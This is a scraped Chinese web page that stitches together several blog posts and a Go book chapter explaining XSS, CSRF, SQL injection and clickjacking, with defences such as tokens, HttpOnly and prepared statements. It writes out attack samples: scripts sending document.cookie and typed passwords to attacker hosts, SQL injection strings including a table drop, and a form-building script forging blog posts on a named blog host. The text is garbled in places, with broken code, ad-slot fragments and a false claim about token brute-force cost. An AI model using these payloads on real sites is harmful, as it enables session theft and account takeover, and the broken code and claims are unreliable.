您的位置: >
web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入
来源:黑客x档案
摘要:web安全，从前端做起，总结下web前端安全的几种技术： 1，XSS XSS的全称是Cross Site Scripting，意思是跨站脚本,XSS的原理也就是往HTML中注入脚本，HTML指定了脚本标记 XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句
web，从前端做起，总结下web前端的几种技术：
XSS的全称是Cross Site Scripting，意思是跨站脚本,XSS的原理也就是往HTML中注入脚本，HTML指定了脚本标记
XSS分成两类，一类是来自内部的，主要指的是利用程序自身的，构造跨站语句。
另一类则是来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有 跨站漏洞 的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标的管理员打开。
预防：积极过滤用户输入，永远不要信任用户
CSRF（Cross-site request forgery跨站请求伪造，也被称成为&one click attack&或者session riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。
具体参考这篇文章：&
预防：使用http的post请求来执行所有重要操作，或者使用一个动态生成令牌：一个隐藏字段分配一个动态值，这个值也会被添加到用户会话信息中，服务器端接收到客户端请求后，服务器检查POST的隐藏变量和用户会话信息得到的是否相同。
3，SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。
4，javascript劫持
5，XPath注入
总结：XSS是网站对用户信任的一种非法利用，CSRF是用户对网站的信任的非法利用。
(责任编辑：网络)
本文章原创来自： QQ： （转载请保留黑客网站版权。侵权必究）
订阅更新: 您可以通过
Powered by
Inc.Copyright &对于一个Web应用来说，可能会面临很多不同的攻击。下面的内容将介绍一些常见的攻击方法，以及面对这些攻击的防御手段。一、跨站脚本攻击（XSS）跨站脚本攻击的英文全称是Cross Site Script，为了和样式表区分，缩写为XSS。发生的原因是网站将用户输入的内容输出到页面上，在这个过程中可能有恶意代码被浏览器执行。跨站脚本攻击可以分为两种：1). 反射型XSS它是通过诱使用户打开一个恶意链接，服务端将链接中参数的恶意代码渲染到页面中，再传递给用户由浏览器执行，从而达到攻击的目的。如下面的链接：http://a.com/a.jsp?name=xss&script&alert(1)&/script& a.jsp将页面渲染成下面的html：Hello xss&script&alert(1)&/script& 这时浏览器将会弹出提示框。2). 持久型XSS持久型XSS将恶意代码提交给服务器，并且存储在服务器端，当用户访问相关内容时再渲染到页面中，以达到攻击的目的，它的危害更大。比如，攻击者写了一篇带恶意JS代码的博客，文章发表后，所有访问该博客文章的用户都会执行这段恶意JS。Cookie劫持Cookie中一般保存了当前用户的登录凭证，如果可以得到，往往意味着可直接进入用户帐户，而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说，可以像下面这样操作：首先诱使用户打开下面的链接：http://a.com/a.jsp?name=xss&script src=http://b.com/b.js&&/script& 用户打开链接后，会加载b.js，并执行b.js中的代码。b.js中存储了以下JS代码：var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 上面的代码会向b.com请求一张图片，但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识，浏览器禁止JavaScript访问带HttpOnly属性的Cookie。XSS的防御1). 输入检查对输入数据做检查，比如用户名只允许是字母和数字，邮箱必须是指定格式。一定要在后台做检查，否则数据可能绕过前端检查直接发给服务器。一般前后端都做检查，这样前端可以挡掉大部分无效数据。对特殊字符做编码或过滤，但因为不知道输出时的语境，所以可能会做不适当的过滤，最好是在输出时具体情况具体处理。2). 输出检查对渲染到HTML中内容执行HtmlEncode，对渲染到JavaScript中的内容执行JavascriptEncode。另外还可以使用一些做XSS检查的开源项目。二、SQL注入SQL注入常常会听到，它与XSS类似，是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子：String sql = "select * from user where username = '" + username + "'"; 像上面的SQL语句，如果用户提交的username参数是leo，则数据库执行的SQL为：select * from user where username = 'leo' 但如果用户提交的username参数是leo’; drop table user–，那执行的SQL为：select * from user where username = 'leo'; drop table user--' 在查询数据后，又执行了一个删除表的操作，这样的后果非常严重。SQL注入的防御防止SQL注入最好的方法是使用预编译语句，如下面所示：String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 不同语言的预编译方法不同，但基本都可以处理。如果遇到无法使用预编译方法时，只能像防止XSS那样对参数进行检查和编码。三、跨站请求伪造（CSRF）跨站请求伪造的英文全称是Cross Site Request Forgery，是由于操作所需的所有参数都能被攻击者得到，进而构造出一个伪造的请求，在用户不知情的情况下被执行。看下面一个例子：如果a.com网站需要用户登录后可以删除博客，删除博客的请求地址如下：GET http://a.com/blog/delete?id=1 当用户登录a.com后，又打开了http://b.com/b.html，其中有下面的内容：&img src="http://a.com/blog/delete?id=1"/& 这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1，删除那篇博客。CSRF的防御验证码CSRF是在用户不知情的情况下构造的网络情况，验证码则强制用户与应用交互，所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。referer检查检查请求header中的referer也能帮助防止CSRF攻击，但服务器不是总能拿到referer，浏览器可能出于安全或隐私而不发送referer，所以也不常用。倒是图片防盗链中用得很多。Anti CSRF Token更多的是生成一个随机的token，在用户提交数据的同时提交这个token，服务器端比对后如果不正确，则拒绝执行操作。四、点击劫持（ClickJacking）点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上，诱使用户在该网页上操作，而实际点击却是点在透明的iframe页面。点击劫持延伸出了很多攻击方式，有图片覆盖攻击、拖拽劫持等。点击劫持的防御针对iframe的攻击，可使用一个HTTP头：X-Frame-Options，它有三种可选值：DENY： 禁止任何页面的frame加载；SAMEORIGIN：只有同源页面的frame可加载；ALLOW-FROM：可定义允许frame加载的页面地址。针对图片覆盖攻击，则注意使用预防XSS的方法，防止HTML和JS注入。微信订阅号：原文地址：
楼主这一系列文章总结得不错。&&&&
&re: Web安全技术(4)-常见的攻击和防御[未登录]
了解什么是XSS，不错&&&&CSRF跨站请求伪造攻击+案例分析
&最近在拜读《web前端技术揭秘》，不是想学下三滥的手段，只是为了防止自己被骗。。。
由于采用了同源策略，所以想要实现跨站攻击，还是有一定限制的，但网络协议的自由也还是留下了很多。
XSS跨站脚本攻击和CSRF跨站请求伪造攻击是刚开始接触的攻击手段。
XSS:跨站，顾名思义，需要不同域的网站，例如正规网址是，而我们的恶意网站为
如何能够获取到正规网址的cookie，从而为所欲为呢？这里就需要跨站获取信息。
一般XSS分为三种：
（1）反射型XSS
这是暂时的，利用get或者post参数实现，如果服务器端对我们的参数有回显功能，那么这就可以实现了
例如服务端对我们的请求会调用eval(arg)
那么我们只需要在?alert('Icandoanything')&连接后加上我们要执行的js脚本，然后把该连接发给用户点击，就会执行后面的js脚本了。
（2）存储型
例如利用网站留言或者博客等功能，由于他们会持久存储，所以我们只要嵌入些恶意的代码，所有查看该留言或者博客的人都会被攻击了，庆幸的是现在知名的网站都不会让你那么容易做到代码嵌入，尤其脚本，几乎不可能，我也是小白，具体方法布吉岛了。
就是通过修改DOM节点，例如imgsrc=/利用图像可以加在第三方资源。。。
另一种攻击就是跨站请求伪造
一般网址对html标签发出的跨站请求不会被同源策略所限制，应为我们经常借此加载第三方资源，例如img,script,css样式和框架内容等。
这也给我们留下了一些后门。。
下面我简单举个例子。。。。很不道德的就拿博客举例子了。没有恶意，只是为了说明CSRF跨站请求伪造
（1）Get请求伪造
博客删除一般是采用get请求，后面加上文章id号，所以如果我们能构造一个连接带有删除的请求和id，同时用户已经在上登陆了博客，那么会利用自带cookie来实现跨站请求的伪装。
例如我有一篇草稿博客，它的删除请求是：http://write.blog.host.net/postlist/0/all/draft?t=delid=
Id指的就是文章id，只用用户去点击该连接那么。。。。。文章就被删除了，这里我们成功伪造了请求，删除别人的博客，不过很不道德。。
（2）Post请求伪造
一般文章的提交采用的是Post请求，所以我们可以帮别人写文章了
我们经常看到自己的一些社交上莫名被发广告状态，也许就可以通过这个实现了。。。。
首先得分析实际的post请求信息
很简单，直接利用浏览器自带的开发者调试功能F12(chrome下)
点击network，清空当前内容，然后我们正常的提交一份博客，这时候会捕捉下所有请求信息，注意下post请求，一般就是我们要利用的请求。
如下图，我们看到post请求地址已经Post需要的信息，好啦，接下来就是利用这个来模拟post
varf=document.createElement(form
link=图中用黄色荧光笔画出的地址，直接右键copy，因为还有前面头信息没显示完全
//这里定义一个函数，向form添加数据
//就是右边FormData的键值对了
functionaddData(fm,key,value){
vare=document.createElement(input
fm.appendChild(e);
e.type=text
body=document.
document.body.appendChild(f);
f.method=post
addData(f,titl,test4
addData(f,typ,1
addData(f,cont,nihao
addData(f,desc,
addData(f,tags,
addData(f,flnm,
addData(f,chnl,0
addData(f,comm,2
addData(f,level,0
addData(f,tag2,)
addData(f,artid,0)
addData(f,checkcode,undefined)
addData(f,userinfo1,121)
addData(f,stat,draft)
最后补上一句，如何让别人去点击我们的连接呢？
加载第三方资源是个让人又爱又恨的家伙&
我们的网页嵌入imgsrc=我们的伪造请求这就伪装的让人发现不了了
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'9.1 预防CSRF攻击 - [ Go Web 编程 ] - 看云
什么是CSRF
CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。
那么CSRF到底能够干嘛呢？你可以这样简单的理解：攻击者可以盗用你的登陆信息，以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计，例如通过QQ等聊天软件发送的链接(有些还伪装成短域名，用户无法分辨)，攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如，当用户登录网络银行去查看其存款余额，在他没有退出时，就点击了一个QQ好友发来的链接，那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
所以遇到CSRF攻击时，将对终端用户的数据和操作指令构成严重的威胁；当受攻击的终端用户具有管理员帐户的时候，CSRF攻击将危及整个Web应用程序。
CSRF的原理
下图简单阐述了CSRF攻击的思想
图9.1 CSRF的攻击过程
从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤 ：
1.登录受信任网站A，并在本地生成Cookie 。
2.在不退出A的情况下，访问危险网站B。
看到这里，读者也许会问：“如果我不满足以上两个条件中的任意一个，就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：
你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站，特别现在浏览器都是支持多tab的。
你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。
上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作，所以随时可能成为CSRF的受害者。
CSRF攻击主要是因为Web的隐式身份验证机制，Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的。
如何预防CSRF
过上面的介绍，读者是否觉得这种攻击很恐怖，意识到恐怖是个好事情，这样会促使你接着往下看如何改进和防止类似的漏洞出现。
CSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。
服务端的预防CSRF攻击的方式方法有多种，但思想上都是差不多的，主要从以下2个方面入手：
1、正确使用GET,POST和Cookie；
2、在非GET请求中增加伪随机数；
我们上一章介绍过REST方式的Web应用，一般而言，普通的Web应用都是以GET、POST为主，还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用：
1、GET常用在查看，列举，展示等不需要改变资源属性的时候；
2、POST常用在下达订单，改变一个资源的属性或者做其他一些事情；
接下来我就以Go语言来举例说明，如何限制对资源的访问方法：
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
这样处理后，因为我们限定了修改只能使用POST，当GET方式请求时就拒绝响应，所以上面图示中GET方式的CSRF攻击就可以防止了，但这样就能全部解决问题了吗？当然不是，因为POST也是可以模拟的。
因此我们需要实施第二步，在非GET方式的请求中增加随机数，这个大概有三种方式来进行：
为每个用户生成一个唯一的cookie token，所有表单都包含同一个伪随机值，这种方案最简单，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败，但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，所以这个方案必须要在没有XSS的情况下才安全。
每个请求使用验证码，这个方案是完美的，因为要多次输入验证码，所以用户友好性很差，所以不适合实际运用。
不同的表单包含一个不同的伪随机值，我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案，复用相关代码，实现如下：
生成随机数token
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
&input type="hidden" name="token" value="{{.}}"&
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
//不存在token报错
这样基本就实现了安全的POST，但是也许你会说如果破解了token的算法呢，按照理论上是，但是实际上破解是基本不可能的，因为有人曾计算过，暴力破解该串大概需要2的11次方时间。
跨站请求伪造，即CSRF，是一种非常危险的Web安全威胁，它被Web安全界称为“沉睡的巨人”，其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍，还详细说明造成这种漏洞的原因所在，然后以此提了一些防范该攻击的建议，希望对读者编写安全的Web应用能够有所启发。
页面正在加载中trackbacks-0
摘要：对Web服务器的攻击也可以说是形形色色、种类繁多，常见的有挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对Webserver漏洞进行攻击。本文结合WEB TOP10漏洞中常见的SQL注入，跨站脚本攻击(XSS)，跨站请求伪造（CSRF）攻击的产生原理，介绍相应的防范方法。
关键字：SQL注入，XSS，CSRF
　　所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。 攻击者通过在应用程序预先定义好的SQL语句结尾加上额外的SQL语句元素，欺骗数据库服务器执行非授权的查询,篡改命令。
　　它能够轻易的绕过防火墙直接访问数据库，甚至能够获得数据库所在的服务器的系统权限。在Web应用漏洞中，SQL Injection 漏洞的风险要高过其他所有的漏洞。
　　攻击原理
　　假设的登录查询
　　SELECT * FROM
WHERE login = 'victor' AND password = '123
　　Sever端代码
　　String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
　　输入字符
　　formusr = ' or 1=1
　　formpwd = anything
　　实际的查询代码
　　SELECT * FROM users WHERE username = ' ' or 1=1
AND password = 'anything'
　　发现注入点简单办法
　　1.寻找带有查询字符串的url的网页(例如，查询那些在URL里带有"id=" 的URL)。
　　2.向这个网站发送一个请求，改变其中的id=语句，带一个额外的单引号（例如：id=123&）。
　　3.查看返回的内容，在其中查找&sql&，&statement&等关键字（这也说明返回了具体的错误信息，这本身就很糟糕）。如下图：
　　4.错误消息是否表示发送到SQL服务器的参数没有被正确编码果如此，那么表示可对该网站进行SQL注入攻击。
　　如何防范SQL注入攻击
　　一个常见的错误是，假如你使用了存储过程或ORM，你就完全不受SQL注入攻击之害了。这是不正确的，你还是需要确定在给存储过程传递数据时你很谨慎，或在用ORM来定制一个查询时，你的做法是安全的。
　　参数化查询已被视为最有效的可防御SQL注入攻击的防御方式。目前主流的ORM 框架都内置支持并且推荐使用这种方式进行持久层封装。
　　所谓的参数化查询（Parameterized Query 或 Parameterized Statement）是指在设计与数据库链接并访问数据时，在需要填入数值或数据的地方，使用参数 (Parameter) 来给值。
　　　　例：
　　　　SELECT * FROM myTable WHERE myID = @myID
　　　　INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)
　　通过(?)指定占位符，当然在添加参数的时候，必须按照(c1, c2, c3, c4)的顺序来添加，否则会出错。
2.跨站脚本攻击(XSS)
　　XSS 全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的.& 比如获取用户的Cookie，导航到恶意网站,携带木马等。
　　攻击原理
　　假如页面有如下一个输入框
　　&input type="text" name="record" value="沙发"&
　　【沙发】是来自用户的输入，如果用户输入的是"onfocus="alert(document.cookie)
　　那么就会变成
　　&input type="text" name="address1" value="" onfocus="alert(document.cookie)"&
　　 事件被触发的时候嵌入的JavaScript代码将会被执行
　　 攻击的威力，取决于用户输入了什么样的脚本。
　　XSS分类
　　1. 反射型XSS
　　反射型XSS，又称非持久型XSS。之所以称为反射型XSS，则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式&反射&回来的。而称为非持久型XSS，则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者，当受害者点击该链接时，注入脚本被传输到目标服务器上，然后服务器将注入脚本&反射&到受害者的浏览器上，从而在该浏览器上执行了这段脚本。
比如攻击者将如下链接发送给受害者：
/search.asp?input=&script&alert(document.cookie);&/script&
当受害者点击这个链接的时候，注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中，则在搜索结果的返回页面中，这段脚本将被当作搜索的关键词而嵌入。这样，当用户得到搜索结果页面后，这段脚本也得到了执行。这就是反射型XSS攻击的原理，可以看到，攻击者巧妙地通过反射型XSS的攻击方式，达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面，因此这种攻击方式只在点击链接的时候才产生作用，这也是它被称为非持久型XSS的原因
　　2.存储型XSS
　　　存储型XSS，又称持久型XSS，他和反射型XSS最大的不同就是，攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛，攻击者在发帖的过程中，将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来，恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候，恶意脚本则会在他们的浏览器中得到执行，从而受到了攻击。
　　Xss危害
　　1.盗取cookie
　　　　通过XSS攻击，由于注入代码是在受害者的浏览器上执行，因此能够很方便地窃取到受害者的Cookie信息。比如，我们只要注入类似如下的代码：
　　&script&location.replace("http:///record.asp?secret="+document.cookie)&/script&
　　　　当受害者的浏览器执行这段脚本的时候，就会自动访问攻击者建立的网站，打开其中的recourd.asp，将受害者浏览器的Cookie信息给记录下来。这样，攻击者就得到了用户的Cookie信息。
　　　　得到受害者的Cookie信息后，攻击者可以很方便地冒充受害者，从而拥有其在目标服务器上的所有权限，相当于受害者的身份认证被窃取了。
　　2.钓鱼攻击
　　　　所谓钓鱼攻击就是构建一个钓鱼页面，诱骗受害者在其中输入一些敏感信息，然后将其发送给攻击者。利用XSS的注入脚本，我们也可以很方便地注入钓鱼页面的代码，从而引导钓鱼攻击。比如下面这样一段代码：
　　&script&
　　function hack(){ 　　　　location.replace("http:///record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
　　&/script&
　　&form&
　　&br& &H3&此功能需要登录:&/H3 &
　　&br&&br&请输入用户名：&br&
　　&input type=&text& id=&user&name=&user&&
　　&br&请输入密码：&br&
　　&input type=&password& name =&pass&&
　　&br&&input type=&submit&name=&login& value=&登录&onclick=&hack()&&
　　&/form&
　　　　注入上面的代码后，则会在原来的页面上，插入一段表单，要求用户输入自己的用户名和密码，而当用户点击&登录&按钮后，则会执行hack()函数，将用户的输入发送到攻击者指定的网站上去。这样，攻击者就成功窃取了该用　　　户的账号信息。和一般的钓鱼攻击不同，XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。
　　3.&& CSRF攻击
　　　　比如我们注入如下的HTML代码：
　　 &imgsrc = &/transfer.do?toAct=123456&money=10000&
&&&&&&&&　　 假如上面的代码中所访问的是某个银行网站的转账服务，则当受害者的浏览器运行这段脚本时，就会向攻击者指定的账户（示例的123456）执行转账操作。由于这个转账请求是在受害者的浏览器中运行的，因此浏览器也会自　　　　&动将受害者的Cookie信息一并发送。这样，发送的请求就好像是受害者自己发送的一样，银行网站也将认可这个请求的合法性，攻击者也就达到了伪造请求的目的。
　　4.传播恶意软件
　　　　　　除了直接注入恶意脚本以外，通过XSS攻击，攻击者也可以很方便地在脚本中引入一些恶意软件，比如病毒、木马、蠕虫等等。例如，攻击者可以在某个自己建立的页面上放置一些恶意软件，然后用XSS注入的方式，插入一　　　　段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候，就会自动访问放置了恶意软件的页面，从而受到这些恶意软件的感染。
　　XSS的预防
　　1. 输入过滤
&&&&&&&& 　　对用户的所有输入数据进行检测，比如过滤其中的&&&、&&&、&/&等可能导致脚本注入的特殊字符，或者过滤&script&、&javascript&等脚本关键字，或者对输入数据的长度进行限制等等。同时，我们也要考虑用户可能绕开　　　　ASCII码，使用十六进制编码来输入脚本。因此，对用户输入的十六进制编码，我们也要进行相应的过滤。只要能够严格检测每一处交互点，保证对所有用户可能的输入都进行检测和XSS过滤，就能够有效地阻止XSS攻击。
　　2. 输出编码
&&&&&&&& 　　通过前面对XSS攻击的分析，我们可以看到，之所以会产生XSS攻击，就是因为Web应用程序将用户的输入直接嵌入到某个页面当中，作为该页面的HTML代码的一部分。因此，当Web应用程序将用户的输入数据输出到目标　　　　页面中时，只要用HtmlEncoder等工具先对这些数据进行编码，然后再输出到目标页面中。这样，如果用户输入一些HTML的脚本，也会被当成普通的文字，而不会成为目标页面HTML代码的一部分得到执行。
　　3. Cookie防盗
　　　　利用XSS攻击，攻击者可以很方便地窃取到合法用户的Cookie信息。因此，对于Cookie，我们可以采取以下的措施。首先，我们要尽可能地避免在Cookie中泄露隐私，如用户名、密码等；其次，我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放；再次，为了防止重放攻击，我们也可以将Cookie和IP进行绑定，这样也可以阻止攻击者冒充正常用户的身份。
&&&&&&&& 作为一名普通的网络用户，在XSS攻击的预防上我们可以采取以下措施。首先，我们不要轻易相信电子邮件或者网页中的不明链接，这些链接很有可能引导反射型XSS攻击或者使我们访问到一些不安全的网页。其次，我们在不必要的时候可以禁用脚本功能，这样XSS注入的脚本就无法得到运行。
3.&& CSRF 攻击
　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。
你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。
　　CSRF漏洞现状
　　　　　CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：（纽约时报）、Metafilter（一个大型BLOG网站），YouTube和百度HI......而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为&沉睡的巨人&。
　　网站A ：为恶意网站。
　　网站B ：用户已登录的网站。
　　当用户访问 A站 时，A站 私自访问 B站 的操作链接，模拟用户操作。
　　假设B站有一个删除评论的链接：http://b.com/comment/?type=delete&id=81723
　　A站 直接访问该链接，就能删除用户在 B站 的评论。
　　CSRF 防御技巧
　　1.验证码
　　　　几乎所有人都知道验证码，但验证码不单单用来防止注册机的暴力破解，还可以有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于，不可能在用户的所有操作上都需要输入验证码.只有一些关键的操作，才能要求输入验证码。不过随着HTML5的发展。利用canvas标签，前端也能识别验证码的字符，让CSRF生效。
　　2.Token
　　　　CSRF能攻击成功，根本原因是：操作所带的参数均被攻击者猜测到。既然知道根本原因，我们就对症下药，利用Token。当向服务器传参数时，带上Token。这个Token是一个随机值，并且由服务器和用户同时持有。当用户提交表单时带上Token值，服务器就能验证表单和session中的Token是否一致。
& & & & &token生成示例代码如下
private static SecureRandom secureRandom=null;
public static String createToken() {
if(secureRandom==null){
String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();
secureRandom = SecureRandom.getInstance("SHA1PRNG");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
secureRandom.setSeed(entoropy.getBytes());
byte bytes[]=new byte[16];
secureRandom.nextBytes(bytes);
byte[] base64Bytes = Base64.encode(bytes);
return new String(base64Bytes);
阅读(...) 评论()